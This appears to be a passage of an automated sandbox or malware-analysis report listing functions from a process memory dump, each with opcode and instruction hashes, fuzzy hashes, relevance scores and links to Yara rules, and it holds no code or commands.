API String ID: 0-802127002
Opcode ID: c73af06bd96c9acdb66c9686b917593920217d988dd9831502d785992228e485
Instruction ID: 91e18ff5f9f06aef63c2cce50af3d5f648f7c17906392e0f35be48aa3374d49c
Opcode Fuzzy Hash: c73af06bd96c9acdb66c9686b917593920217d988dd9831502d785992228e485
Instruction Fuzzy Hash: B8118BB9D10348DBDF24CFB8950A79CBBB0BB05311F20825EE06AAB292C7700A05DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 00C7FF60

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 8f680199fc81246a71a4044360761aa84191692410d358936add270efcbe5a27
Instruction ID: 71d3cdb52fe41dad2ca1baa65d193e3d02bfd2563f2f9a32bdd80cb0f2dd776b
Opcode Fuzzy Hash: 8f680199fc81246a71a4044360761aa84191692410d358936add270efcbe5a27
Instruction Fuzzy Hash: A311E171520544EFDB12DB90CC89F9CB7F2FB08714F14C068F109572A2CB389A40EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00CB5BA5, Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f953e4825b8d6012aeb5eecc1476e2bff133b5670f7dee4a7217f0d094dfd57
Instruction ID: b8f6e49846cb6c53fc8f13abbac78f48ee291831c043b29dd95551ac5416c27e
Opcode Fuzzy Hash: 9f953e4825b8d6012aeb5eecc1476e2bff133b5670f7dee4a7217f0d094dfd57
Instruction Fuzzy Hash: 43424975A00629CFDB24CF68C881BA9B7B1FF49304F1481AAD95DAB252D7349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00C04120, Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddd08a89bae2b25f3129d9e5d19d24aa27be5dbdf680cfdb88c274382a4f2bed
Instruction ID: 7f5c4552b981219ec717c81256a8222f391d96632e727bdea64ad5999af94fe5
Opcode Fuzzy Hash: ddd08a89bae2b25f3129d9e5d19d24aa27be5dbdf680cfdb88c274382a4f2bed
Instruction Fuzzy Hash: 8BF17CB06082118BC728CF59C480A3BB7E1FF98714F15492EFA96CB2A1E734DD95DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00C120A0, Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2bcbb597a4eedb5ba4baa43a7de9ba59f7c4694f69a79449e5e96401aea1261
Instruction ID: 0af16149f5996ec4cdbd752fc5051efc9d944920466ee57d6e00f6d6c541d121
Opcode Fuzzy Hash: e2bcbb597a4eedb5ba4baa43a7de9ba59f7c4694f69a79449e5e96401aea1261
Instruction Fuzzy Hash: B3F133786087419FDB25CB29C8507AE77E1AF86320F24852DF8A58B390D734DDD5EB82

Uniqueness

Uniqueness Score: -1.00%

Function 00C0B236, Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1f64df11345c03254a0bdf0ea8c13923360817a481ea98dccb31031b519ceb
Instruction ID: 0ef764076ef7cc0e8eeaf8c8efdbcae6da5d3e433823661cdfe305e4d34e8496
Opcode Fuzzy Hash: ea1f64df11345c03254a0bdf0ea8c13923360817a481ea98dccb31031b519ceb
Instruction Fuzzy Hash: F3B1CE35B006059BDB24CBA9C890B7EB7E5AF89300F244169E952D73D2DB30EE85DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00BF849B, Relevance: .3, Instructions: 290COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09eed9dbf935a9437fb9ce66ad5d31712c3742b43aea6ab083e211fa3a482d07
Instruction ID: eddaecb37e52cbee909c48fa7b7ea1e5abd4db60966aa033bd0504bfcb596260
Opcode Fuzzy Hash: 09eed9dbf935a9437fb9ce66ad5d31712c3742b43aea6ab083e211fa3a482d07
Instruction Fuzzy Hash: 25B18D70E00219EFDB14DF98D984AAEBBF5FF48304F20416AE605AB356DB70AD49DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C1513A, Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9bc91e740e18f012dfcb4348366dedf06203ac3007a4d14ac2b7716a36f96ab
Instruction ID: cdcd3c82ef1c20907716bf93122f3ab20d0ac3a0508effdeaa93ebf0de47e7f6
Opcode Fuzzy Hash: c9bc91e740e18f012dfcb4348366dedf06203ac3007a4d14ac2b7716a36f96ab
Instruction Fuzzy Hash: 5DC121796093808FD354CF28C580A6AFBF1BF89304F544A6EF8998B352D771E985CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00C103E2, Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1b3b47cfabb99b17c47a1715aeb7326021852624f04f7201b7bd5f7e4a9b06c
Instruction ID: d950d07aeedf3414aed1f2ff5e63987e8fd43f70f195e71a26a37469df92f500
Opcode Fuzzy Hash: c1b3b47cfabb99b17c47a1715aeb7326021852624f04f7201b7bd5f7e4a9b06c
Instruction Fuzzy Hash: 99914831E002149FDB259B68C845BED77B0AF02728F250265FD21AB2D1D7B49EC4EB85

Uniqueness

Uniqueness Score: -1.00%

Function 00BEC600, Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f5049eeaebc11520d36c1ccaf5a9e4d4a03a2e7cbac227ac589e143d1dbac9
Instruction ID: 9ffe01338df96c656d2dfe2fb1da4efdb1b6079d241334652cbfdcb76b010dbd
Opcode Fuzzy Hash: 06f5049eeaebc11520d36c1ccaf5a9e4d4a03a2e7cbac227ac589e143d1dbac9
Instruction Fuzzy Hash: D581B1796082418BCB25CE14E881E3F73E4EB84351F244A6AFD558B241D330DEC9DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00C1138B, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c33f6d9e34d70ec2c7411a2d2e90e11e394967e8af468a76c92d51e73907bb8
Instruction ID: 0f4fa2eb886643c1dc65cd34d253d9c91a1b6a99c47bdeb3617c4902b0ac93d3
Opcode Fuzzy Hash: 1c33f6d9e34d70ec2c7411a2d2e90e11e394967e8af468a76c92d51e73907bb8
Instruction Fuzzy Hash: 1F81BA75A007459FCB24CF68C441BEABBF5EF49300F14856AE996C7251E334EA85DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B8D0, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faab705946211c987c13f7535f094b08992d31a48073659b525974482994336f
Instruction ID: aa6aa5126628c01f867f88c5450d9430d7261ee804a339521f5e41b1c5b58509
Opcode Fuzzy Hash: faab705946211c987c13f7535f094b08992d31a48073659b525974482994336f
Instruction Fuzzy Hash: 9871DF32200701AFD722DF19C846F66B7B5EF44720F248528F669976E1DB75EE40EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C66DC9, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: dd5893ca6936a23d67d888940405aaef34598e0940e8adf90c170b9a6e0da179
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 94718A71E00619EFCB20DFA8C985AEEBBB9FF48704F104569E504E7291DB30AA41DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BE52A5, Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e4fffa611a458c7ec9873cef56f77c09efe651e9d0d8abd743ff6060fe7ab7
Instruction ID: 11699ea920022d49a268827b1fbb12f5a5a1c2682d0137b2696dba78adbb5881
Opcode Fuzzy Hash: 12e4fffa611a458c7ec9873cef56f77c09efe651e9d0d8abd743ff6060fe7ab7
Instruction Fuzzy Hash: FC5123312457819FD721EF68C882B27B7E4FF50714F200A2EF6A5876A2E770E844D791

Uniqueness

Uniqueness Score: -1.00%

Function 00C12AE4, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694851e72a4a8da688c0a5edbac8e7e3285aabdf10d7012e85c7898deff34ab1
Instruction ID: 9e9dcd3cb317b46c06b5b2bfb489958f33e902adf1474561e75e0ffa3155984b
Opcode Fuzzy Hash: 694851e72a4a8da688c0a5edbac8e7e3285aabdf10d7012e85c7898deff34ab1
Instruction Fuzzy Hash: 1851B47AB04115CFCB18CF1DC8909FDB7B2FB89700715845AE8569B364D734AEA1EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00CAAE44, Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67dd977270f6e5ab919e26d83a119c02c7c430a8f52d699d356f9ad71591f20c
Instruction ID: 2c2cdc78e57926f6327beab3a1606126de28ec2c55404100b3200cdd711a9304
Opcode Fuzzy Hash: 67dd977270f6e5ab919e26d83a119c02c7c430a8f52d699d356f9ad71591f20c
Instruction Fuzzy Hash: C641F5B17006126FC72A9A66CC84B7BB399AF86728F04421AFC2687290DB34DD01D692

Uniqueness

Uniqueness Score: -1.00%

Function 00C0DBE9, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfe2f74b431692bc0dd4b1dc5b362031ee32e00e82363d550cbefc643e822263
Instruction ID: e5a33bad108d8f951177582630e7c6761f2a8131ef91a6211cf3d1c6b131691d
Opcode Fuzzy Hash: cfe2f74b431692bc0dd4b1dc5b362031ee32e00e82363d550cbefc643e822263
Instruction Fuzzy Hash: D2519375A01615DFCB14CFA8C490BAEFBF1BF48350F20815AD956A7384DB30AE85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BFEF40, Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 98045132fddddeed9708cfc02d0f9a49f128b8e775773b814ce678a44e1bf8c3
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: 7651BE30A0424A9BEB24CF68C0D07BEBBF1EF15314F2881F8D66597292C775A98DD751

Uniqueness

Uniqueness Score: -1.00%

Function 00CB740D, Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: c97517f85f13124d00ec268c140af023d94e5b0a422c8bfa1af71d29fe2a8093
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 19518D71604606EFCB25CF54C581A96BBB5FF85304F15C1BAE9089F252E371EA4ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 00C12990, Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8301a4d8706c165df48479f03871e857be48807511df1d5ae267751cb296e314
Instruction ID: ba923167067118e2aa61ca9b423c39dc4ae07d5755f568fdf33ad00540bfb8a6
Opcode Fuzzy Hash: 8301a4d8706c165df48479f03871e857be48807511df1d5ae267751cb296e314
Instruction Fuzzy Hash: 60514975A00219DFCF25DF59C880ADEBBB5FF49310F158055F815AB261C3359EA2EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C14BAD, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ac601b019bfc4deddf65b93ef10e1e8afa7f36d051d6e5da34954ad4101ee3b
Instruction ID: a134fa72ddb998bcf6716865e420f09b3aad0255ddcb84aa8a8615ea5f7d6af8
Opcode Fuzzy Hash: 4ac601b019bfc4deddf65b93ef10e1e8afa7f36d051d6e5da34954ad4101ee3b
Instruction Fuzzy Hash: E141C035A012289BCB25DF68C941FEEB7B4EF4A750F4100A9E908AB341DB74DEC5DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C14D3B, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c85c4402e9053dac6b803a24b482387a1fc7bd283855d49fe0ae0c83c11fab3c
Instruction ID: be19b5b6a340d88d385bc1dd6b3f67c23491121bc0d1c31118cf41180e63d1fb
Opcode Fuzzy Hash: c85c4402e9053dac6b803a24b482387a1fc7bd283855d49fe0ae0c83c11fab3c
Instruction Fuzzy Hash: 1641F275A403189FEB25DF14CC81FAAB7AAEF06710F1040AAF9559B381D770EE84DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BF8A0A, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93505eb5950680d31d86aa88f20515f6a6cb0e51e9c5f22818d3fa05d5a00e9
Instruction ID: adc55fcdc5f364ff6e64e5830fbe5ff8e74c2d61ecc92d086be1613bf40facf6
Opcode Fuzzy Hash: b93505eb5950680d31d86aa88f20515f6a6cb0e51e9c5f22818d3fa05d5a00e9
Instruction Fuzzy Hash: 294142B1A4022C9BDB24DF59DC88AB9B7F4EB54300F1045EAEA1997252DB719E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00CAAA16, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: ef67c76afa3a3bd58c3f86744ac659459060d0557e249372d6ade953f1ad16cd
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: DC312631F006066BDB159B66C845BBFF7BADF82318F158069E815E7291DB70DE00D761

Uniqueness

Uniqueness Score: -1.00%

Function 00CAFDE2, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 5c29adcf1a4ba015ea165d1cec873df8a41a6b559fb7776931b1fd3d1d65dbe0
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 593116323006426FD3229BE8CC45F6ABBE9EB86344F18446CF4968B752DA74DD42D720

Uniqueness

Uniqueness Score: -1.00%

Function 00CAEA55, Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 2b4c4151cc11133f402a43c1b5c70f9f83b027e99281677befd29b504a9d8b87
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: DA31AE326047069BC719DF25C885A6BB7AAFFC1314F04492DF55287681DA30ED09CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00C669A6, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 003bac54239e2e8ba8a639c3afbc69a825b30c6fa9de7709330b8371459148f6
Instruction ID: 2005a65211522978edb5876d6c3d0e4860dc48d3fa8d681b153a4a76762b973c
Opcode Fuzzy Hash: 003bac54239e2e8ba8a639c3afbc69a825b30c6fa9de7709330b8371459148f6
Instruction Fuzzy Hash: 93419CB1E01208AFDB24DFA5D981BFEBBF8EF48714F14812AF914A7251DB709905DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00BE5210, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2a2fdbc37269d333328e1ea4123dd965d4f3af921be06c8b196d58be93eaac4
Instruction ID: 717bf7e66f9c6b8adc0423543f65439b92017e5cfda1ca74eda062e28cc4d9b9
Opcode Fuzzy Hash: f2a2fdbc37269d333328e1ea4123dd965d4f3af921be06c8b196d58be93eaac4
Instruction Fuzzy Hash: 57314831A81A10DBC732AF69C881B3677E5FF10760F20472AFA254B5A2E730FD04D690

Uniqueness

Uniqueness Score: -1.00%

Function 00C23D43, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ef9513c5afdbd8874e58b62a348c0ec53565aa26be4e494d08c9c4cd21391f
Instruction ID: 62df8cc10c94f69be87ede408cc6b130d5b2a3248051dab92df62274d0ec8bde
Opcode Fuzzy Hash: a5ef9513c5afdbd8874e58b62a348c0ec53565aa26be4e494d08c9c4cd21391f
Instruction Fuzzy Hash: 8331E235A14664DBC728CF2AE841A7BBBF4EF59700B15806EE855CB750E738DE40D790

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A61C, Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ee54f73e2bde4d825296d43df0c77dcd536de2dd5ac38b70f4dc8c53f9d37b6
Instruction ID: bf411a63eb5c9d93ae291fb7e754726017f3f119087db40f3ff977a0ee2860f6
Opcode Fuzzy Hash: 6ee54f73e2bde4d825296d43df0c77dcd536de2dd5ac38b70f4dc8c53f9d37b6
Instruction Fuzzy Hash: 73419DB5A01204DFCB14CF59D880B9DB7F1FB4A310F1881AAE814AB395D774AE81DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C67016, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede1e2deac000d00dba470d94d8c8321a78557a11df1ac2e11aa5cb19394035a
Instruction ID: bfb3d357126e99ae06d0b522f155d73167ff06b9f756cd135720f49f7236f11e
Opcode Fuzzy Hash: ede1e2deac000d00dba470d94d8c8321a78557a11df1ac2e11aa5cb19394035a
Instruction Fuzzy Hash: 1531C4726087519BC324DF28C981A6AB3E5FFC9700F044A29F9A987691E730ED04D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C0C182, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: 5da548544501d7c4a19481c737bb53168bf64eaf6fa4c359fcf847719e41abc4
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 8C312671A0154BAFD704EBB4C481BF9F7A4BF52340F14426AE52857382DB346A59EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C93D40, Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba37fd695c2d9d32746dbdaec03f15f6cc11375b70a72ad856a1dddbde22ec02
Instruction ID: bcd173c42d1b190d08598bf396af35ae4516581031e6862fa5cf0e0b0b516bad
Opcode Fuzzy Hash: ba37fd695c2d9d32746dbdaec03f15f6cc11375b70a72ad856a1dddbde22ec02
Instruction Fuzzy Hash: 7231777150A342DFCB10DF14C88996ABBE1FF85710F05496EF4988B291D730EE08CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A70E, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9925addf364f5eac7c1e97a8d3b3083d6bb3349b9b7f454784a8d2e3a678d7fc
Instruction ID: 3f08920d95cbcec5d43372fc01e6c506f603e862baba76439da13f39e77328d8
Opcode Fuzzy Hash: 9925addf364f5eac7c1e97a8d3b3083d6bb3349b9b7f454784a8d2e3a678d7fc
Instruction Fuzzy Hash: E331D2B160A600AFD711CF08DC80F6977F9FB86710F140A5BE95587390E3709A41DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00C161A0, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40a3fc79f98059aa0f492756613ae693d11f975ed8324c9771b565bd50e09ce
Instruction ID: b7b63ee052abfdf9e45041330a7f55a65ccc5d0002c867fa367bed1ab488abe0
Opcode Fuzzy Hash: c40a3fc79f98059aa0f492756613ae693d11f975ed8324c9771b565bd50e09ce
Instruction Fuzzy Hash: F3319C716097019FD320CF19C800B6AB7E4FB88B00F1449ADF8A897351EB70DD88DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00BEAA16, Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0c17c3d61fda920aeb429ae2c2b09c96428dfc899929885ba0d7c8c96e47de7
Instruction ID: d9dca72fb2f9af34264bc6128a8f8ccbcb8582274060472ba921e220682ae889
Opcode Fuzzy Hash: f0c17c3d61fda920aeb429ae2c2b09c96428dfc899929885ba0d7c8c96e47de7
Instruction Fuzzy Hash: 0431E371A00629ABCB149F65CD82BBFB7B8FF44700F1044AAF901E7151E774AE11DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C24A2C, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d8a25fe03ff03425d2ae026360308b2b218f17c0f2eecd1421f7af917ad2f52
Instruction ID: fd53d26db778eb0b486efefbd6b256cba47d1da7f6e6d4c46fc94f74fd5544de
Opcode Fuzzy Hash: 2d8a25fe03ff03425d2ae026360308b2b218f17c0f2eecd1421f7af917ad2f52
Instruction Fuzzy Hash: D6313532286721DBC725DF55D945B2AB7E4FF80B20F10056AF9660BA81CB70DD09EB89

Uniqueness

Uniqueness Score: -1.00%

Function 00C28EC7, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c637c3cddda1444d21e7cf223ee07df1f6c687011a716365fbe05966d425ea48
Instruction ID: e957259cd7bbd8ddd6e244d7c02159edae0420d0685149457f7103b655cffa01
Opcode Fuzzy Hash: c637c3cddda1444d21e7cf223ee07df1f6c687011a716365fbe05966d425ea48
Instruction Fuzzy Hash: 1341A2B1D013289FDB24CFAAD981AADFBF4FB48310F5041AEE519A7640DB709A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00C1E730, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16863b852c778596cdc24e40ec188ef5cc96590cf9830ac9384b6f3458cca161
Instruction ID: 6d398eb4f1343c99eb5275e853533ee33a288e9c98c032ffe5db5c7ec40645b4
Opcode Fuzzy Hash: 16863b852c778596cdc24e40ec188ef5cc96590cf9830ac9384b6f3458cca161
Instruction Fuzzy Hash: 70316D75A14249AFE744CF59D841B9ABBE4FB09314F148256FD14CB381E631ED90DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C1BC2C, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 784e05466322450a13c4a68db88042f1963c40dc506caec379fab2a955fe07fc
Instruction ID: e8dba46fdf72c7757405cf17ab71bb574f89d5b7353e69fe4a8f164464bc4d7f
Opcode Fuzzy Hash: 784e05466322450a13c4a68db88042f1963c40dc506caec379fab2a955fe07fc
Instruction Fuzzy Hash: 1B3101726016069BCB01EF98D8807EA73A4EF1A310F10407AED54DB205E774DE85EFC0

Uniqueness

Uniqueness Score: -1.00%

Function 00BE9100, Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb77139e5998792712436198a388b089308d79d63e602b7782a52320cf084cd
Instruction ID: 5d0618c8ea14674449cf609ac64c7c03f375a06712750e3a9e9c6b441ca355da
Opcode Fuzzy Hash: 8bb77139e5998792712436198a388b089308d79d63e602b7782a52320cf084cd
Instruction Fuzzy Hash: BC31C5B1A012C6EFDB25DB69C4887ACBBF1FB48360F14819AD41477391C730AD88DB52

Uniqueness

